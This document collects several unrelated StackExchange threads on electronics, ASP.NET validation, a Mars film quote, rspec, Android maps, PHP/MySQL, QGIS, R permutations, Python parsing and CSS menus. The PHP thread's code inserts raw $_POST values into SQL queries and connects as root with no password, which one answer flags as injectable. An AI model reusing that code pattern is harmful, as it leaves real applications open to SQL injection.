SMD diode value I need to change surface-mount diode but i need to know its value. possible your assistance to know the value of the diode in the picture. what is the value of diode in picture? or how to get the value? What exactly do you mean with "value"? Reverse voltage? Forward current? Power rating? Model number? Diodes have many values. You may want to edit you question so that it is more clear. Generally, if the diode is just there for reverse voltage protection, you could use any other of-the-shelve SMD diode. The round ones usually dont have any manufacturer markings on them There is no way you can reliably get the type or parameters of such a diode from a picture or even from the physical diode itself. Your best bet is to get the circuit diagram or the components list (assuming the PCB has component identifications). Lacking that, you (or we) could make an educated guess based on the type of circuit in which it is used. If all else fails, you could try the universal jellybean: 1N4148. (Which, as Spehro says, is called LL4148 in its SMD version.) +1 specifically LL4148 for something that 'looks' like this one (MELF)
common-pile/stackexchange_filtered
Not getting Validation Erros while applying Validation Attribute on ViewModel i have a View Model [CustomValidation(typeof(MyValidation), "MyMethod")] [Serializable()] public class TransactionViewModel { public string InvoiceNumber; } public class MyValidation { public static ValidationResult validatelength(TransactionViewModel length) { bool isValid; if (length.InvoiceNumber.Length >15) isValid = false; else isValid = true; if (isValid) { return ValidationResult.Success; } else { return new ValidationResult( "The Field value is greater than 15"); } } } now i am checking some fields of my class object if Validation fails i am checking the model state in controller and return the View ,Added Validation Message for the Invoice Number But still am not getting the Errors Can we Apply validation Attribute to Model View ,PLS provide the the Solution if i am doing anything wrong Use <%= this.Html.ValidationSummary() %> or @this.Html.ValidationSummary() and you'll get what you're looking for. If your modelstate is not valid, you'll get the error you're looking for. Your problem is that your error was that your error wasn't associated to any member of the class. In the modelstate it has the key "" because it wasn't associated with any field. +1, how'd you get around that? I.E. making sure the IsValid is associated with the validation field? Am I just missing a constructor? I don't really understand what you mean. If you want to validate a field, use ModelState.IsValidField("field") I was just curious as to why the @this.Html.ValidationSummary() shows a model error where as @Html.ValidationSummary() doesn't? Are you serious or being sarcastic? The this keyword is an old habit I got from usin fxcop and stylecop. The reason it forces the use of this for instances is that it allows other developers to immediately recognize if the member is static or from an instance. An argument could be made about not using this in views because everyone knows Html is an instance member though. Obviously both work because they are the same. And that is not the same question as before. Maybe you forget to place validationsummary on your view? <%= Html.ValidationSummary("Create was unsuccessful. Please correct the errors and try again.") %> Please, submit your view for review. Meanwhile here you are the good examples where it works: Validation with the Data Annotation Validators (C#) Model validation from Scott's blog Look at this tutorial here handling model error, but use an empty string for the key: ModelState.AddModelError(string.Empty, "There is something wrong with Foo."); The error message will present itself in the <%: Html.ValidationSummary() %> as you'd expect. i am using Validation Summary on the View and everthing is working fine,The Model is not getting Updated but i am not getting the Validation Message, i am getting the View Correctly Probably, you are handling it in a different way. Are you using the ModelState.AddModelError(string key, string errorMessage) ? Also look at some extra info in my answer.
common-pile/stackexchange_filtered
Colonizing Mars with Crops In The Martian, after Mark Watney reestablishes contact with Earth, he says this: I’ve gotten e-mail from rock stars, athletes, actors and actresses, and even the President. One of them was from my alma mater, the University of Chicago. They say once you grow crops somewhere, you have officially “colonized” it. So technically, I colonized Mars. In your face , Neil Armstrong! Is there any evidence that this is true, either from those involved with the movie, those involved with the university, or any other article/source out there? If this should be migrated to a different SE, by all means, point the way. The university? You know, there was no Mark Whatney ever enrolled at the University of Chicago (let alone sent to Mars), so I doubt they ever said something like this. I mean, I get you're asking if that statement is an accepted definition, but I don't see what the university has to do with that. Another possible interpretation of that sentence is that they (the university) said this in their email to him. Which doesn't necessarily mean they (or anyone) said it before. @Steve-O Oh, I thought that was the only interpretation. I didn't consider that the asker thought they said it at some totally different point. @NapoleonWilson Yeah, I'm fully aware. But the events being fictional events wouldn't stop the Uni from tweeting something like "This is true! Here's a link to learn more" in the midst of the hubbub over the movie. Barring that, yeah, I was just looking for any tidbit of out-of-universe data supporting the assertion. I think this stems from the origin of the word "colonise" rather than any legal definition or opinion from any University. Wikipedia The term colonization is derived from the Latin words colere ("to cultivate, to till"), colonia ("a landed estate", "a farm") and colonus ("a tiller of the soil", "a farmer"), then by extension "to inhabit". Someone who engages in colonization, i.e. the agent noun, is referred to as a colonizer, while the person who gets colonized, i.e. the object of the agent noun or absolutive, is referred to as a colonizee, colonisee or the colonised.
common-pile/stackexchange_filtered
rspec testing views with internationalization? I want to make sure I have the right meta desc/keyword and title text in my view so I want to create rspec views tests for that. Now the real challange here is how to make it work across multiple languages. The way I've done it is: it "should have the right page title" do title = "some nice title here" response.should have_tag("title", title) end So because the "requirement" is hard coded in that example, I am having a hard time figuring out how to do the same thing for all the other languages in my config/locale/. I'm not sure if this is the best way to do it or should I just fetch the text from the locale/lang.yml like so : it "should have the right page title" do title = t('site.title') response.should have_tag("title", title) end Thanks This seems perfectly acceptable. I see no reason to fetch directly from the localization files. It should give you a good indication that you are indeed using the localized calls throughout your application. You could probably even run your tests under the different locales and that would help you ensure you have all the keys filled out for each one. It doesn't strike me as any different than testing using fixtures, it still requires that your .yml file be correct, and won't check to make sure you've created them correctly, but it does help you check that you've properly used them in your code.
common-pile/stackexchange_filtered
MapView not shown anymore I have an app that i need to show a mapView inside a fragment like this <com.google.android.gms.maps.MapView android:id="@+id/mapView" android:layout_width="0dp" android:layout_height="0dp" android:background="#00838F" app:layout_constraintBottom_toTopOf="@+id/middleView" app:layout_constraintEnd_toEndOf="parent" app:layout_constraintStart_toStartOf="parent" app:layout_constraintTop_toBottomOf="@+id/view3" /> with this code ( onMapReady isn't called ) override fun onViewCreated(view: View, savedInstanceState: Bundle?) { super.onViewCreated(view, savedInstanceState) mapView.getMapAsync(this) } override fun onMapReady(p0: GoogleMap?) { Log.d("onMapReady sd","onMapReadyonMapReady") googleMap=p0 //Adding markers to map val latLng=LatLng(28.6139,77.2090) val markerOptions:MarkerOptions = MarkerOptions().position(latLng).title("New Delhi") // moving camera and zoom map val zoomLevel = 12.0f //This goes up to 21 googleMap.let { it!!.addMarker(markerOptions) it.moveCamera(CameraUpdateFactory.newLatLngZoom(latLng, zoomLevel)) } } and manifest <meta-data android:name="com.google.android.maps.v2.API_KEY" android:value="myKeyHere" /> I have created the key in google console under a project with restrict to google maps android and for that package name only , i have tried all possible ways here but i think answers are out-dated ? i didn't supply any billing if this is the reason it doesn't work ? The map is shown blank with the background color specified in xml with simulator and real device (samsung) Have you tried putting a View (or a FrameLayout) in the XML instead of the map to ensure the MapView is ACTUALLY visible to the user? @QuintinBalsdon there is nothing in front of it i can see it's background color even when i change it for any other color @QuintinBalsdon should i set a billing or can i test it freely ?? also is keystore deprecated ?? i read it here https://stackoverflow.com/a/16551626/14769302 I don't think you need billing Is there anything in the logcat logs when this fragment gets displayed?
common-pile/stackexchange_filtered
php code to insert row of data populated from a mysql database into other mysql database after modification I am trying to make an attendance sheet. In my code I retrieve the names from a existing database and populate in a html table with the attendance select dropdown. After populating the dropdown all the data in the html table automatically saved into the new database without selecting the submit button. moreover the attendance status shows null value in the database, but the other fields are saved successfully. Please go through my code and give your valuable suggestions to rectify the problem. <form enctype="multipart/form-data" name="f1" method="POST" ACTION="<?php echo $PHP_SELF;?>"> //call from the previous php page <? $back_page ="recordentry.php"; $date=$_POST['date']; $course=$_POST['course']; $period=$_POST['period']; $batch=$_POST['batch']; $subject=$_POST['subject']; if(empty($_POST['other'])) { $faculty=$_POST['faculty']; } else { $faculty=$_POST['other']; } ?> <p>Current Date & Time : <? echo $date ?></p> <? $db="contact"; //mysql_connect(localhost,$_POST['username'],$_POST['pass']); $link = mysql_connect("localhost", "root", ""); if (! $link) die("Couldn't connect to MySQL"); mysql_select_db($db , $link) or die("Couldn't open $db: ".mysql_error()); $result=mysql_query("SELECT name,uic FROM student where batch='$batch' AND course='$course' order by name") or die("SELECT ERROR: ".mysql_error()); $userinfo = array(); echo "<table border='1' align='center'><tr><th>Name</th><th>Unique Identification Code</th><th>Attendance(select only the Absentees)</th></tr>"; while($row = mysql_fetch_array($result)){ //Display the results in different cells echo "<tr><td align=center>" . $row['name'] . "</td><td align=center>" . $row['uic'] . "</td><td align=center><select name='attendance' style='background-color:#FFC'> <option>Present <option>Absent </select></td></tr>"; //$userinfo = array('name' => $row['name'], 'uic' => $row['uic'], 'attendance' => $row['attendance']); $row_name=$row['name']; $row_uic=$row['uic']; $row_attn=mysql_real_escape_string($_POST['attendance']); $userinfo[] = array("name"=> $row_name , "uic"=> $row_uic, "a_status"=> $row_attn); } //echo"<tr><td><input type='submit' value='Submit' name='submit_button' />"; echo"</table>"; mysql_close($link); //form HAS been submitted ?> <table align="center"> <tr><td><input type="submit" value="Submit" name="submitbtn" ></td><td><input type="reset" value="reset"></td></tr> </table> </form> <? if($_SERVER['REQUEST_METHOD']=='POST') { foreach ($userinfo as $value) { $name = $value[name]; $uic = $value[uic]; $a_status = $value[a_status]; $db="contact"; $link = mysql_connect("localhost", "root", ""); //$link = mysql_connect("localhost",$_POST['username'],$_POST['password']); if (! $link) die("Couldn't connect to MySQL"); mysql_select_db($db , $link) or die("Select Error: ".mysql_error()); $result=mysql_query("INSERT INTO attendance(date, course, period, batch, subject, faculty, name, uic, attendance) VALUES ('$date', '$course', '$period', '$batch', '$subject', '$faculty', '$name', '$uic', '$a_status')") or die("Insert Error: ".mysql_error()); mysql_close($link); } } ?> all the data except attendance save to the database successfully. attendance gives null value. Again, data save before clicking submit button. Please help. I'm not sure if this is what you're looking for, but where you write: $a_status = $value[a_status]; should surely be $a_status = $value['a_status']; Also, your html is: <select name='attendance' style='background-color:#FFC'> <option>Present <option>Absent </select> But it should be: <select name='attendance' style='background-color:#FFC'> <option value="present">Present</option> <option value="absent">Absent</option> </select> When using a select box, the 'value' attribute is the value that will be in the $_POST['attendance'], Not the values inside the 'option' tag. Also, this code is insecure, as it uses SQL injection. Also, you could possibly send the form to a different page for your POST logic. Combining the two in one file can get confusing. One file to read the db and output the data. One file to process the form logic and insert the data. send the post data to the separate file using: <form action="/path/to/file.php"></form> Also you should put your database connection inside a function like: function db_connect() { $link = mysql_connect("localhost", "root", ""); if (! $link) die("Couldn't connect to MySQL"); mysql_select_db($db , $link) or die("Couldn't open $db: ".mysql_error()); return $link; } and use it like so: $db_handle = db_connect(); $result = mysql_query("SELECT name FROM student", $db_handle); This is so you're not repeating the same code OVER AND OVER again At first glance I guess the problem is this: $name = $value[name]; $uic = $value[uic]; $a_status = $value[a_status]; You should accessing the values of your array like this: $name = $value['name']; $uic = $value['uic']; $a_status = $value['a_status'];
common-pile/stackexchange_filtered
Paths layers disappear on map after saving in QGIS 3 I am quite new to GIS. I am working on a historical map with three sets of points. When I create a path between those points with the "Points to Path" tool (via Ctrl+Alt+T), it shows up nicely. However, when I save the map and open it again later, the paths layers are still visible in the layer toolbar, but no longer visible on the map, not even when I click "Zoom to map layer". I am working in QGIS 3.2 (Bonn). How can I fix this? Like most tools in QGIS, "Points to Path" creates a temporary layer by default. Temporary layers only exist while the QGIS project is open. If you close and re-open the project, all the features in a temporary layer are deleted. Only the layer name and style settings are saved. You should instead Save to File. Then it will save the output as a shapefile (or other format that you choose). If you already have a temporary layer, you can right click on the layer name and choose "Export" (in older versions of QGIS, choose "Save as..."). This is useful if you aren't sure you'll want to save the tool output. You can run the tool multiple times with different parameters, and only save the outputs that you want to keep. Thank you so much for your help, this worked perfectly. I should have asked my question here much earlier!
common-pile/stackexchange_filtered
Codeigniter Change URL method name I am new in CI. I want to change function name in addressbar url with add_car to addcar. Actually my url is created as below http://localhost/projectName/controller/add_car But I want following in URL http://localhost/projectName/controller/addcar Is it possible? Please help me. [Note] : My actual method name is add_car. Go to config/routes.php and add $route['addcar'] = "add_car" ; @Saty But I have lots of controller and lots of method in it then ? Check this link @Saty Thanks for help I will try it hei @Sadikhasan i was edit my answer.. you can map your method use car_lookup funtion. You can do it by two methods Method 01 Edit - config/routes.php $route['controller/addcar'] = 'controller/add_car'; $route['controller/deletecar'] = 'controller/delete_car'; output - www.exapmle.com/controller/addcar Method 02 change your controller function name as you like. public function addcar($value='') { # code... } public function deletecar($value='') { # code... } Output -www.exapmle.com/controller/addcar Further Knowledge If you use $route['addcar'] = 'controller/add_car'; URL looks like www.exapmle.com/addcar I tried your answer $route['controller/addcar'] = 'controller/add_car'; If I try www.mydomain.com/controller/addcar then it's working but I used before $route['(:any)'] = 'controller/$1';(remove the controller name) then its not working. Change add_car function to addcar in your controller function add_car(){ //... } To function addcar(){ ^ //... } Or in routes.php $route['controller/add_car'] = "controller/addcar"; I do not want to change naming convention in controller. Its ok with underscore. For every method I need to spechify its route? Actually I want to change method name in URL address bar do not want to change actual method name. use routes in that case. But I have lots of controller and lots of method in it then ? in that case, you have to go with .htaccess check this Thanks for help I will try it $route['controller/([a-z]+)_([a-z]+)'] = "controller/$1$2"; Above example will route every requested action containing '_' between two strings to action/method without the '_'. More about Code Igniter regular expression routes: https://ellislab.com/codeigniter/user-guide/general/routing.html You can use this on your route: $route['addcar'] = 'Add_car/index'; $route['addcar/(:any)'] = 'Add_car/car_lookup/$1'; and your controller <?php defined('BASEPATH') OR exit('No direct script access allowed'); class Add_car extends CI_Controller { public function __construct() { parent::__construct(); } public function car_lookup($method = NULL) { if (method_exists($this, $method)) { $this->$method(); } else { $this->index(); // call default index } } public function index() { echo "index"; } public function method_a() { echo "aaaaa"; } public function method_b() { echo "bbbbb"; } } For every method I need to spechify its route? if you use this. you will not need to define new route every time your add new method.
common-pile/stackexchange_filtered
Mixing 2 different vectors in all their permutations I need to combine two vectors of different size in all their different permutations. for example: a <- c(A,B,C) b <- c(1,2,3,4,5,6) and I need to "mix" them into two vectors like that: m <- c(1,2,C) n <- c(A,B,3,4,5,6) and I need many of these combinations, with no repetition. (the types of all the values will be the same) The exact rules of the combinations are not clear. E.g., do you always need to do two element switches or between 0 and 3 switches? are vector lengths variable? fixed at 3 and 6? It isn't clear what you mean by the phrase "all their different permutations". Could you please clarify? In your example are you expecting 2^3 = 8 pairs of vectors, or a much larger set? You use the word "permutation" but in your example there is no permuting of elements -- just swapping which preserves indices. to get a single permutation: if order doesn't matter and assuming m has length 3: > m <- sample(union(a,b),3,replace=FALSE) > n <- setdiff(union(a,b),m) > m [1] "1" "6" "2" > n [1] "A" "B" "C" "3" "4" "5" you can also randomize the m vector length to get > m <- sample (union(a,b),sample(1:length(union(a,b)),1),replace=FALSE) > n <- setdiff(union(a,b),m) > m [1] "1" "C" "B" > n [1] "A" "2" "3" "4" "5" "6" if order does matter and assuming the natural order is {1,2,3,4,5,6,a,b,c} > n <- sort(setdiff(union(a,b),m)) > m <- sort(sample (union(a,b),3,replace=FALSE)) > n <- sort(setdiff(union(a,b),m)) > m [1] "3" "B" "C" > n [1] "1" "2" "4" "5" "6" "A" for ALL possible permutations you will need to decide the vector lengths (when length(m) = 1 there are 9 permutations, for length(m) = 2 there are 36 and so on) It looks to me like you want to permute the combined vector. To do this, first we need a function to generate permutations. Here's a recursive implementation in base R: permr <- function(v,r=length(v)) if (r==0L) NULL else do.call(rbind,lapply(seq_along(v),function(i) cbind(v[i],permr(v[-i],r-1L)))); Demo: permr(1:3); ## defaults to full-size subset, i.e. r=n=3 ## [,1] [,2] [,3] ## [1,] 1 2 3 ## [2,] 1 3 2 ## [3,] 2 1 3 ## [4,] 2 3 1 ## [5,] 3 1 2 ## [6,] 3 2 1 permr(1:4,3L); ## permute r=3 of n=4 ## [,1] [,2] [,3] ## [1,] 1 2 3 ## [2,] 1 2 4 ## [3,] 1 3 2 ## [4,] 1 3 4 ## [5,] 1 4 2 ## [6,] 1 4 3 ## [7,] 2 1 3 ## [8,] 2 1 4 ## [9,] 2 3 1 ## [10,] 2 3 4 ## [11,] 2 4 1 ## [12,] 2 4 3 ## [13,] 3 1 2 ## [14,] 3 1 4 ## [15,] 3 2 1 ## [16,] 3 2 4 ## [17,] 3 4 1 ## [18,] 3 4 2 ## [19,] 4 1 2 ## [20,] 4 1 3 ## [21,] 4 2 1 ## [22,] 4 2 3 ## [23,] 4 3 1 ## [24,] 4 3 2 Now we can generate a permutation matrix of the combined vector for any r: a <- c('A','B','C'); b <- 1:6; permr(c(a,b),3L); ## r=3 ## [,1] [,2] [,3] ## [1,] "A" "B" "C" ## [2,] "A" "B" "1" ## [3,] "A" "B" "2" ## [4,] "A" "B" "3" ## [5,] "A" "B" "4" ## ## ... snip ... ## ## [500,] "6" "5" "C" ## [501,] "6" "5" "1" ## [502,] "6" "5" "2" ## [503,] "6" "5" "3" ## [504,] "6" "5" "4" If you want to get all possible subset sizes, we can use lapply() to collect the permutation matrices in a list. Although now we're getting up there in terms of computational effort: v <- c(a,b); system.time({ res <- lapply(seq_along(v),function(r) permr(v,r)); }); ## user system elapsed ## 11.813 0.000 11.824 sapply(res,nrow); ## [1] 9 72 504 3024 15120 60480<PHONE_NUMBER>80 362880 lapply(res,head); ## [[1]] ## [,1] ## [1,] "A" ## [2,] "B" ## [3,] "C" ## [4,] "1" ## [5,] "2" ## [6,] "3" ## ## [[2]] ## [,1] [,2] ## [1,] "A" "B" ## [2,] "A" "C" ## [3,] "A" "1" ## [4,] "A" "2" ## [5,] "A" "3" ## [6,] "A" "4" ## ## [[3]] ## [,1] [,2] [,3] ## [1,] "A" "B" "C" ## [2,] "A" "B" "1" ## [3,] "A" "B" "2" ## [4,] "A" "B" "3" ## [5,] "A" "B" "4" ## [6,] "A" "B" "5" ## ## [[4]] ## [,1] [,2] [,3] [,4] ## [1,] "A" "B" "C" "1" ## [2,] "A" "B" "C" "2" ## [3,] "A" "B" "C" "3" ## [4,] "A" "B" "C" "4" ## [5,] "A" "B" "C" "5" ## [6,] "A" "B" "C" "6" ## ## [[5]] ## [,1] [,2] [,3] [,4] [,5] ## [1,] "A" "B" "C" "1" "2" ## [2,] "A" "B" "C" "1" "3" ## [3,] "A" "B" "C" "1" "4" ## [4,] "A" "B" "C" "1" "5" ## [5,] "A" "B" "C" "1" "6" ## [6,] "A" "B" "C" "2" "1" ## ## [[6]] ## [,1] [,2] [,3] [,4] [,5] [,6] ## [1,] "A" "B" "C" "1" "2" "3" ## [2,] "A" "B" "C" "1" "2" "4" ## [3,] "A" "B" "C" "1" "2" "5" ## [4,] "A" "B" "C" "1" "2" "6" ## [5,] "A" "B" "C" "1" "3" "2" ## [6,] "A" "B" "C" "1" "3" "4" ## ## [[7]] ## [,1] [,2] [,3] [,4] [,5] [,6] [,7] ## [1,] "A" "B" "C" "1" "2" "3" "4" ## [2,] "A" "B" "C" "1" "2" "3" "5" ## [3,] "A" "B" "C" "1" "2" "3" "6" ## [4,] "A" "B" "C" "1" "2" "4" "3" ## [5,] "A" "B" "C" "1" "2" "4" "5" ## [6,] "A" "B" "C" "1" "2" "4" "6" ## ## [[8]] ## [,1] [,2] [,3] [,4] [,5] [,6] [,7] [,8] ## [1,] "A" "B" "C" "1" "2" "3" "4" "5" ## [2,] "A" "B" "C" "1" "2" "3" "4" "6" ## [3,] "A" "B" "C" "1" "2" "3" "5" "4" ## [4,] "A" "B" "C" "1" "2" "3" "5" "6" ## [5,] "A" "B" "C" "1" "2" "3" "6" "4" ## [6,] "A" "B" "C" "1" "2" "3" "6" "5" ## ## [[9]] ## [,1] [,2] [,3] [,4] [,5] [,6] [,7] [,8] [,9] ## [1,] "A" "B" "C" "1" "2" "3" "4" "5" "6" ## [2,] "A" "B" "C" "1" "2" "3" "4" "6" "5" ## [3,] "A" "B" "C" "1" "2" "3" "5" "4" "6" ## [4,] "A" "B" "C" "1" "2" "3" "5" "6" "4" ## [5,] "A" "B" "C" "1" "2" "3" "6" "4" "5" ## [6,] "A" "B" "C" "1" "2" "3" "6" "5" "4" ## If you're interested, we can locate your example permutations as follows: which(apply(res[[3L]],1L,function(v) all(v==c(1,2,'C')))); ## [1] 192 res[[3L]][192L,]; ## [1] "1" "2" "C" which(apply(res[[6L]],1L,function(v) all(v==c('A','B',3:6)))); ## [1] 436 res[[6L]][436L,]; ## [1] "A" "B" "3" "4" "5" "6"
common-pile/stackexchange_filtered
How to know ahead of time if food will be served during a flight? How to know ahead of time if food will be served during a flight? Ideally, at which time(s) and the menu options. It usually says on the itinerary details and/or on the booking confirmation. Some airlines will show the information in the “manage your booking” section of their website, possibly with links to the current menu for that flight, though it varies a lot. Which airline are you considering, on what flight or type of flight (short/long haul, domestic/international, red eye...)? Of course class of travel also has an importance... The time(s) when meals will be served are highly variable not just by airline and route and service class, but, for example, they may be unable to start at the standard time due to turbulence due to the weather and routing on a particular day. I would ask a flight attendant. As JoErNanO said, this is often printed somewhere on your itinerary, though it usually says little more than something like "Dinner, Breakfast." Specific menus vary wildly, so airlines don't generally make them available ahead of time. The exceptions are generally low-cost carriers that require you to purchase meals in advance or premium services like Singapore's Book the Cook. Every airline's website should have a page with meal information. When food is available for purchase, more details on the choices may be available (e.g. for United Domestic/Canada/Latin America flights). Otherwise, you might find some information from online trip reports. A search for your flight number, "trip report," and "economy" or "business" may bring up someone who has written a detailed report on their flight, including meal information. While menus change regularly, this should give you a decent idea of what services to expect and when. Frequent flyers on forums like FlyerTalk sometimes take pictures of their (usually non-economy) meals and post them. Buying food at the airport to bring on-board is often a more appetizing choice. You can also bring food from home, unless it's something very liquid such as soup. Almost anyone can cook a better meal than what's served by airlines. FWIW, SQ's Book the Cook is an optional business-class-only extra, if you don't order ahead you'll still get fed with the standard selection. The subscription service ExpertFlyer shows the configured meal options for most flights in the world, as configured by the operating airline. Most airlines serve meals on international and long-haul flights, and domestic flights that are longer than some threshold, and operate close to usual meal times in the country. In general, when meals are offered, meal services typically starts about an hour after take-off. On long-haul flights, there is often a second meal, typically lighter than the first meal, offered around one to two hours before arrival. On very long flights there may be a mid-flight snack service or available on request. In general, the higher the cabin the greater the quantity and flexibility of the meal service. Many airlines offer a la carte or dine on demand choices in business and first class on international and long-haul flights. Your booking will indicate which meals are served. Typically, shortly after takeoff and shortly before landing. If you ask nicely, the Flight Attendants will usually accommodate alternate times. Depending one the airline, you may be able to view the menu up to 30 days before departure if they offer a choose you meal option. Otherwise, unless you know someone in either catering department, you find out onboard like everyone else.
common-pile/stackexchange_filtered
Matlab: Mean with time interval? I have a vector x containing velocity information and the index represents time. Now I wish to create a new vector, preserving its size, but values are replaced with mean of a time interval eg: x = 101 102 103 104 105 106 107 108 109 110 111 112 if i want to time interval to be 4, the output should look like: o = 102.5 102.5 102.5 102.5 106.5 106.5 106.5 106.5 110.5 110.5 110.5 110.5 Is there a function that does that? thanks This reads like you want a moving average. Is that correct? I think I didn't fully understand what you're trying to achieve, but you may want to take a look at smooth. Yes, moving average is what I was looking for! is there a built in function that does that? also I tried smooth, it doesn't smooth it very much, i am guessing it's because my graph is too 'noisy', only finding the average can reduce the noise. Actually, I take it back. its not not exactly moving average. I want to find one average per year. Instead of "smoothing" the graph. The graph should look more like a step function than a smoothed curve function. Here's a method that doesn't require that your time vector is an exact multiple of the interval length that combines accumarray with some clever indexing. x = [101 102 103 104 105 106 107 108 109 110 111 112]; intervalLength = 4; %# create index array %# for array of length 10, %# intervalLength 4, this gives %# [1 1 1 1 2 2 2 2 3 3]' idx = zeros(length(x),1); idx(1:intervalLength:end) = 1; idx = cumsum(idx); %# average time avg = accumarray(idx,x,[],@mean); %# create output array - use index to replicate values out = avg(idx); out = 102.5 102.5 102.5 102.5 106.5 106.5 106.5 106.5 110.5 110.5 110.5 110.5 It appears that you're trying to perform a stepping average across the input data set, while preserving the length of the initial input vector. To my knowledge, there is no single function to do this. However, you can do it in Python fairly easily. For example: def blurryAverage(inputCollection, step=1): """ Perform a tiling average of an input data set according to its step length, preserving the length of the initial input vector """ # Preconditions if (len(inputCollection) % step != 0): raise ValueError('Input data must be of divisible length') ret = [] for i in range(len(inputCollection) / step): tot = 0.0 for j in range(step): tot += inputCollection[(i*step)+j] for j in range(step): ret.append(tot / step) # Implicit float coercion of step return ret >>> blurryAverage([1,2,3,4,5,6],3) [2.0, 2.0, 2.0, 5.0, 5.0, 5.0] >>> blurryAverage([1,2,3],4) Traceback (most recent call last): File "<stdin>", line 1, in <module> File "<stdin>", line 3, in blurryAverage ValueError: Input data must be of divisible length
common-pile/stackexchange_filtered
Setting value of variable on button event listener I want the value of a variable named button_name to be set on a button event listener and send it in URL as REQUEST parameter. But what is happening the host variable is set on page load and does not take the value of updated variable. Any idea how to set the value of the variable dynamically and send it as REQUEST parameter? var button_name; $.Settings( { host : 'http://my_server_Address/abc.php?filename='+button_name, }) function name_setter(name) { button_name=name; } <input type='button' onclick="name_setter('click_me')" value='click_me'/> Please suggest if you think it can be done in some other way. What the heck is $.Settings? When you are calling $.Settings, the host string is being evaluated right then and there. At that point button_name is undefined. Changing the button_name variable later on won't have any affect, since the string was already evaluated. Check to see if the host parameter can accept a function instead of just a string. Hazmat thanks,Yes you are right same is happening but i want to set the button_name on listener and then it should go to php file. @Ali: You're gonna have to move the $.Settings call inside the click handler, so that the string is evaluated at the right time.
common-pile/stackexchange_filtered
How to assign data from a file to a dictionary? I am just starting my coding adventure. My problem is that I have a file with structure: % program : RTKPOST % pos mode : ppp-static % solution : forward % elev mask : 10.0 deg % dynamics : off % tidecorr : off % tropo opt : saastamoinen % ephemeris : broadcast % ==================================== END OF HEADER and I would like the code to return a dictionary {program: "RTKPOST", pos_mode : "ppp-static"} I was trying: data = [] header = {} with open("file.txt") as file: for line in file: if line.startswith("%"): key, val = line.split() header[key] = val else: data.append(line.split()) and got: ValueError: too many values to unpack (expected 2) Have you made an attempt that might indicate at which level you have problem? Its hard to get an appropriate answer without that. For example, do you know how to open a file? Do you know how to iterate over the file? Do you know how to construct any Dict at all? That's an inconvenient format. Where did this file come from? You might want to start with generating a file that'll be easier to parse (e.g. JSON or CSV). @L.Grozinger edited You can't unpack data to key, value like that. Try something like split_value = line.split(":") an then header[split_value[0]] = split_value[1] then I got IndexError: list index out of range The syntax x, y = z can be used to assign to both x and y using the values in z, but it expects that z has the correct number of values available (in this case 2). This works e.g. >>> x, y = [1, 2] >>> x 1 >>> y 2 But this does not: >>> x, y = [1, 2, 3] Traceback (most recent call last): File "<stdin>", line 1, in <module> ValueError: too many values to unpack (expected 2) Since each of your line.split()s have more than 2 values, key, val = line.split() will always produce this error. The problem is, that e.g. the last line of the file doesn't follow the same rules as the first lines. In general, this approach will not be robust. I suggest instead using regular expressions to pick out the key-value pairs you want. In this way you can easily specify the format that the key-value pairs have in the file, and extract them from the whole file easily, if the format changes in the future, just change the regular expression. I suggest the regular expression: header_property = r'^% (.+):(.+)$' To interpret this regular expression, take a look at the re docs. In short, this will match lines that start with % , followed by strings of one or more characters with a : in the middle. A full example using this is as follows: import re header_property = r'^% (.+):(.+)$' header = {} with open("file.txt") as file: for line in file: match = re.search(header_property, line) if match is not None: key = match.group(1).strip() value = match.group(2).strip() header[key] = value After which header will be >>> header {'program': 'RTKPOST', 'pos mode': 'ppp-static', ..., 'ephemeris': broadcast'} Pretty much anything can be extracted from text files using regular expressions. It is worthwhile learning a bit about how to use them. Split on ':' since that's what separates your keys from your values. Make sure not to try to split/parse that END OF HEADER line. data = [] header = {} with open("file.txt") as file: for line in file: if line.startswith("% =="): break if not line.startswith("%"): data.append(line.split()) continue key, val = map(str.strip, line[1:].split(':')) header[key] = val print(header) prints: {'program': 'RTKPOST', 'pos mode': 'ppp-static', 'solution': 'forward', 'elev mask': '10.0 deg', 'dynamics': 'off', 'tidecorr': 'off', 'tropo opt': 'saastamoinen', 'ephemeris': 'broadcast'}
common-pile/stackexchange_filtered
Extracting value coded in an equation from text file in a text file I have a specific line like: ZONE, T="test", I =100, J= 175, F = POINT and I want to extract with python the values for "I" and "J". I = ** your code ** J = ** your code ** Do you have any suggestions? Thank you. clean white space, split on commas, look for 'I=' and 'J=', take what comes after for example I are writed in a text file name filename.txt , on this File it is writted I = 100 , i will use re.search for find the value import re f = open('filename.txt', 'a').readlines() for i in f: value = i.rstrip() n = re.search(r'I = (.*)', value) i = n.group(1) print("I = " + i)
common-pile/stackexchange_filtered
Is it bad practice to keep "this.setState" methods on one line? I am just curious as to whether it is bad (or better) practice to keep this.setState on one line of code, especially if only one state variable is being changed. this.setState({ fruits: { apples: newApples, bananas: newBananas } }); vs this.setState({fruits: { apples: newApples, bananas: newBananas }}); According to whom? If you are asking it for your workplace, then check the code guidelines, if you are doing it for an open source project you are participating in, check the code guidelines, if it's for your own project, define your code guidelines What about keeping the fruits definition on one line? It's all about personal preferences and the guidelines of your team. If the code is equally readable in both formats (which is again subjective), it doesn't matter. Not, it is not, you or your team defines it. You can also use a formatter like https://prettier.io/ to do it for you.
common-pile/stackexchange_filtered
Hovering Issue With Nav Menu My mega menu nav has a hovering issue. It activates when hovering over invisible child list items (mousing over from bottom to top, you'll notice the issue on this codepen). This is the block of CSS that's triggering the hover: .nav:hover > li > .subnav-block { opacity: 1; visibility: visible; overflow: visible; } I'm thinking a JavaScript solution would help out but trying to find CSS fix for this first. visibility: hidden; means the element takes up space and reacts to the mouse, it's just not drawn to the screen. Use display: none instead, or height: 0. (I've also removed the React tag, given that it has no relevance to the issue here) Your sub-navigation menu is taking up space, even though it is not visible. That is why you can see it whenever you are hovering above it. Adding height:0 to your .subnav-block and then setting it back to auto when hovering, should do the trick. Your css should look something like the one below. .subnav-block { position: static; display: block; width: 100% !important; top: 54px; left: 0; height: 0; overflow: hidden; background: gray; -webkit-transition: all 0.3s ease 0.15s; -moz-transition: all 0.3s ease 0.15s; -o-transition: all 0.3s ease 0.15s; -ms-transition: all 0.3s ease 0.15s; transition: all 0.3s ease 0.15s; } .nav:hover > li > .subnav-block { height: auto; visibility: visible; overflow: visible; } UPDATE If you want to add paddings to your sub-navigation menu, setting the height to 0 won't suffice, and you would need to change both the height and the padding when hovering. There is another way, which Hadi77 mentioned, which is setting the default display to none and then change it to block. Just like the example below. .subnav-block { position: static; width: 100% !important; top: 54px; left: 0; display: none; background: gray; -webkit-transition: all 0.3s ease 0.15s; -moz-transition: all 0.3s ease 0.15s; -o-transition: all 0.3s ease 